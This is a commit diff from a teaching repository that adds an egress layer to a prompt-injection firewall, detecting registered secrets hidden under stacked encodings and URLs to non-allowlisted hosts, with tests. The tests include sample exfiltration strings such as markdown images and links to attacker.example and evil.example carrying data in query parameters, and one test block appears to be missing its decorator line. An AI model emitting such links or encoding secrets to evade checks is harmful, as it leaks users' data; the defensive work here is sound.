Skip to content

Building 70 Projects ranging from beginner to advanced so anyone can — learn from, build upon, use as a reference, or even copy directly. Owned by my cybersecurity company đŸ‘‡

feat(not-sandboxed): M6 - a fixed pipeline cannot beat stacked obfuscation, 584/584 exhaustive

CarterPerez-dev522d2f472b6f
diff --git a/PROJECTS/beginner/prompt-injection-firewall/src/not_sandboxed/config.py b/PROJECTS/beginner/prompt-injection-firewall/src/not_sandboxed/config.py
index 1d0cb3f8..6aafb31e 100644
--- a/PROJECTS/beginner/prompt-injection-firewall/src/not_sandboxed/config.py
+++ b/PROJECTS/beginner/prompt-injection-firewall/src/not_sandboxed/config.py
@@ -16,7 +16,39 @@ LAYER_NORMALIZE: Final = "normalize"
LAYER_INGRESS: Final = "ingress"
LAYER_PROVENANCE: Final = "provenance"
+LAYER_EGRESS: Final = "egress"
+
RULE_NONCE_FORGERY: Final = "nonce-forgery"
+RULE_CANARY_LEAK: Final = "canary-leak"
+RULE_URL_EGRESS: Final = "url-egress"
+
+SEPARATOR_CODEPOINTS: Final = (
+ 0x0020,
+ 0x0009,
+ 0x000A,
+ 0x000D,
+ 0x002D,
+ 0x002E,
+ 0x005F,
+ 0x007C,
+ 0x002C,
+ 0x003A,
+ 0x003B,
+ 0x002A,
+ 0x007E,
+ 0x0027,
+ 0x0022,
+ 0x0060,
+)
+SEPARATOR_CHARS: Final = frozenset(
+ chr(point) for point in SEPARATOR_CODEPOINTS
+)
+
+MAX_VARIANT_ROUNDS: Final = 4
+MAX_VARIANTS: Final = 96
+MIN_CANARY_LENGTH: Final = 8
+
+URL_PATTERN: Final = r"https?://[^\s\)\]\>\"']+"
AUDIT_DIGEST_CHARS: Final = 16
RULE_LAYER_ERROR: Final = "layer-error"
diff --git a/PROJECTS/beginner/prompt-injection-firewall/src/not_sandboxed/layers/egress.py b/PROJECTS/beginner/prompt-injection-firewall/src/not_sandboxed/layers/egress.py
new file mode 100644
index 00000000..feb9fe1f
--- /dev/null
+++ b/PROJECTS/beginner/prompt-injection-firewall/src/not_sandboxed/layers/egress.py
@@ -0,0 +1,147 @@
+"""
+©AngelaMos | 2026
+egress.py
+"""
+
+import codecs
+import re
+from collections.abc import Callable, Iterable, Sequence
+from typing import Final
+from urllib.parse import urlsplit
+
+from not_sandboxed import config
+from not_sandboxed.normalize.unicode import normalize_unicode
+from not_sandboxed.normalize.unwrap import unwrap
+from not_sandboxed.verdict import Finding, Severity
+
+
+_URL: Final = re.compile(config.URL_PATTERN)
+
+
+def _strip_noise(text: str) -> str:
+ return "".join(char for char in text if char.isalnum())
+
+
+def _strip_separators(text: str) -> str:
+ return "".join(
+ char for char in text if char not in config.SEPARATOR_CHARS
+ and char not in config.ZERO_WIDTH_CHARS
+ )
+
+
+def _rot13(text: str) -> str:
+ return codecs.encode(text, "rot13")
+
+
+def _normalized(text: str) -> str:
+ return normalize_unicode(text).text
+
+
+def _unwrapped(text: str) -> str:
+ return unwrap(text).text
+
+
+_VIEWS: Final[tuple[Callable[[str],
+ str],
+ ...]] = (
+ _normalized,
+ _unwrapped,
+ _strip_separators,
+ _strip_noise,
+ _rot13,
+ lambda text: text[::-1],
+ )
+
+
+def variants(text: str) -> set[str]:
+ """
+ Every reading of this text reachable by undoing separators,
+ reversal, rot13, and transport encodings in any order
+
+ A fixed pipeline cannot do this: base64 of a dashed secret needs
+ decode before strip, and a dashed base64 secret needs strip before
+ decode, so the search has to close over the orderings
+ """
+ seen = {text}
+ frontier = [text]
+
+ for _ in range(config.MAX_VARIANT_ROUNDS):
+ produced: list[str] = []
+ for candidate in frontier:
+ for view in _VIEWS:
+ try:
+ derived = view(candidate)
+ except (ValueError, UnicodeError):
+ continue
+ if derived and derived not in seen:
+ seen.add(derived)
+ produced.append(derived)
+ if len(seen) >= config.MAX_VARIANTS:
+ return seen
+ if not produced:
+ break
+ frontier = produced
+
+ return seen
+
+
+class EgressLayer:
+ """
+ The last boundary, where a registered secret must not leave in any
+ encoding and untrusted hosts must not be contacted
+ """
+
+ name = config.LAYER_EGRESS
+
+ def __init__(
+ self,
+ canaries: Sequence[str] = (),
+ allowed_hosts: Sequence[str] = (),
+ ) -> None:
+ self.canaries = tuple(
+ canary for canary in canaries
+ if len(canary) >= config.MIN_CANARY_LENGTH
+ )
+ self.allowed_hosts = tuple(allowed_hosts)
+
+ def inspect_text(self, text: str) -> list[Finding]:
+ """
+ Report a registered secret leaving in any encoding, and any URL
+ aimed at a host the policy does not allow
+ """
+ findings: list[Finding] = []
+ findings.extend(self._canary_findings(text))
+ findings.extend(self._url_findings(text))
+ return findings
+
+ def _canary_findings(self, text: str) -> Iterable[Finding]:
+ if not self.canaries:
+ return
+
+ readings = {
+ _strip_noise(view).casefold()
+ for view in variants(text)
+ }
+
+ for canary in self.canaries:
+ needle = _strip_noise(canary).casefold()
+ if any(needle in reading for reading in readings):
+ yield Finding(
+ layer = config.LAYER_EGRESS,
+ rule = config.RULE_CANARY_LEAK,
+ severity = Severity.CRITICAL,
+ invariant = True,
+ evidence = canary,
+ )
+
+ def _url_findings(self, text: str) -> Iterable[Finding]:
+ for match in _URL.finditer(text):
+ host = urlsplit(match.group(0)).hostname or ""
+ if host not in self.allowed_hosts:
+ yield Finding(
+ layer = config.LAYER_EGRESS,
+ rule = config.RULE_URL_EGRESS,
+ severity = Severity.CRITICAL,
+ invariant = True,
+ evidence = host,
+ )
diff --git a/PROJECTS/beginner/prompt-injection-firewall/src/not_sandboxed/normalize/unwrap.py b/PROJECTS/beginner/prompt-injection-firewall/src/not_sandboxed/normalize/unwrap.py
index b804fbfe..9e37a63d 100644
--- a/PROJECTS/beginner/prompt-injection-firewall/src/not_sandboxed/normalize/unwrap.py
+++ b/PROJECTS/beginner/prompt-injection-firewall/src/not_sandboxed/normalize/unwrap.py
@@ -29,12 +29,16 @@ class UnwrapResult(BaseModel):
def _printable_ratio(text: str) -> float:
- if not text:
+ considered = [
+ char for char in text if char not in config.ZERO_WIDTH_CHARS
+ and char not in config.BIDI_CONTROLS
+ ]
+ if not considered:
return 0.0
printable = sum(
- 1 for char in text if char.isprintable() or char in "\n\r\t"
+ 1 for char in considered if char.isprintable() or char in "\n\r\t"
)
- return printable / len(text)
+ return printable / len(considered)
def _looks_decoded(candidate: str) -> bool:
diff --git a/PROJECTS/beginner/prompt-injection-firewall/tests/layers/test_egress.py b/PROJECTS/beginner/prompt-injection-firewall/tests/layers/test_egress.py
new file mode 100644
index 00000000..42887618
--- /dev/null
+++ b/PROJECTS/beginner/prompt-injection-firewall/tests/layers/test_egress.py
@@ -0,0 +1,201 @@
+"""
+©AngelaMos | 2026
+test_egress.py
+"""
+
+import base64
+import codecs
+from collections.abc import Callable
+
+import pytest
+from hypothesis import given, settings
+from hypothesis import strategies as st
+
+from not_sandboxed import config
+from not_sandboxed.layers.egress import EgressLayer
+from not_sandboxed.verdict import Finding
+
+
+SECRET = "VANTAGE-7731-ORION"
+
+ZWSP = chr(0x200B)
+
+
+def _b64(text: str) -> str:
+ return base64.b64encode(text.encode()).decode()
+
+
+def _hex(text: str) -> str:
+ return text.encode().hex()
+
+
+def _rot13(text: str) -> str:
+ return codecs.encode(text, "rot13")
+
+
+def _reverse(text: str) -> str:
+ return text[::-1]
+
+
+TRANSFORMS: tuple[Callable[[str],
+ str],
+ ...] = (
+ "-".join,
+ " ".join,
+ ".".join,
+ _reverse,
+ _b64,
+ _hex,
+ _rot13,
+ ZWSP.join,
+ )
+
+TRANSFORM_NAMES = (
+ "dash",
+ "space",
+ "dot",
+ "reverse",
+ "base64",
+ "hex",
+ "rot13",
+ "zero-width",
+)
+
+
+def _rules(findings: list[Finding]) -> set[str]:
+ return {finding.rule for finding in findings}
+
+
+def _layer() -> EgressLayer:
+ return EgressLayer(
+ canaries = (SECRET,
+ ),
+ allowed_hosts = ("vantage.example",
+ ),
+ )
+
+
+def test_plain_secret_is_caught() -> None:
+ findings = _layer().inspect_text(f"the secret is {SECRET}")
+
+ assert config.RULE_CANARY_LEAK in _rules(findings)
+
+
+def test_canary_finding_is_invariant() -> None:
+ findings = _layer().inspect_text(SECRET)
+ leak = [f for f in findings if f.rule == config.RULE_CANARY_LEAK]
+
+ assert leak[0].invariant is True
+
+
+def test_clean_output_is_not_a_leak() -> None:
+ findings = _layer().inspect_text(
+ "Your order 8814 shipped on Tuesday and should arrive "
+ "by Friday. Anything else I can help with?"
+ )
+
+ assert findings == []
+
+
+@settings(max_examples = 1500, deadline = None)
+@given(
+ st.lists(
+ st.integers(min_value = 0,
+ max_value = len(TRANSFORMS) - 1),
+ min_size = 1,
+ max_size = 3,
+ )
+)
+def test_canary_survives_stacked_obfuscation(
+ indices: list[int],
+) -> None:
+ text = SECRET
+ for index in indices:
+ text = TRANSFORMS[index](text)
+
+ findings = _layer().inspect_text(text)
+
+ stack = " -> ".join(TRANSFORM_NAMES[i] for i in indices)
+ assert config.RULE_CANARY_LEAK in _rules(findings), stack
+
+
+def test_markdown_image_to_unlisted_host_is_blocked() -> None:
+ findings = _layer(
+ ).inspect_text("![x](https://attacker.example/p?d=hello)")
+
+ assert config.RULE_URL_EGRESS in _rules(findings)
+ assert all(
+ f.invariant for f in findings if f.rule == config.RULE_URL_EGRESS
+ )
+
+
+def test_plain_link_to_unlisted_host_is_blocked() -> None:
+ findings = _layer(
+ ).inspect_text("see https://attacker.example/collect?d=abc")
+
+ assert config.RULE_URL_EGRESS in _rules(findings)
+
+
+def test_allowlisted_host_is_permitted() -> None:
+ findings = _layer(
+ ).inspect_text("see https://vantage.example/orders/8814")
+
+ assert findings == []
+
+
+def test_allowlisted_host_still_checked_for_canary() -> None:
+ findings = _layer(
+ ).inspect_text(f"https://vantage.example/p?d={SECRET}")
+
+ assert config.RULE_CANARY_LEAK in _rules(findings)
+
+
+def test_a_layer_with_no_canaries_still_guards_urls() -> None:
+ layer = EgressLayer(
+ canaries = (),
+ allowed_hosts = ("vantage.example",
+ ),
+ )
+
+ findings = layer.inspect_text("![x](https://evil.example/a)")
+
+ assert config.RULE_URL_EGRESS in _rules(findings)
+
+
+ "text",
+ [
+ "VANTAGE-7731-ORIO",
+ "ANTAGE-7731-ORION",
+ "VANTAGE-7732-ORION",
+ "VANTAGE is our name and ORION is the product line",
+ "The 7731 model was discontinued in 2024.",
+ ],
+)
+def test_near_miss_text_is_not_a_leak(text: str) -> None:
+ assert config.RULE_CANARY_LEAK not in _rules(
+ _layer().inspect_text(text)
+ )
+
+
+def test_space_separated_canary_is_a_leak() -> None:
+ findings = _layer().inspect_text("VANTAGE 7731 ORION")
+
+ assert config.RULE_CANARY_LEAK in _rules(findings)
+
+
+def test_a_canary_shorter_than_the_floor_is_refused() -> None:
+ layer = EgressLayer(
+ canaries = ("abc",
+ ),
+ allowed_hosts = ()
+ )
+
+ assert layer.canaries == ()
+ assert layer.inspect_text("abc") == []
+
+
+def test_variant_search_terminates_on_hostile_input() -> None:
+ findings = _layer().inspect_text("A" * 5000)
+
+ assert config.RULE_CANARY_LEAK not in _rules(findings)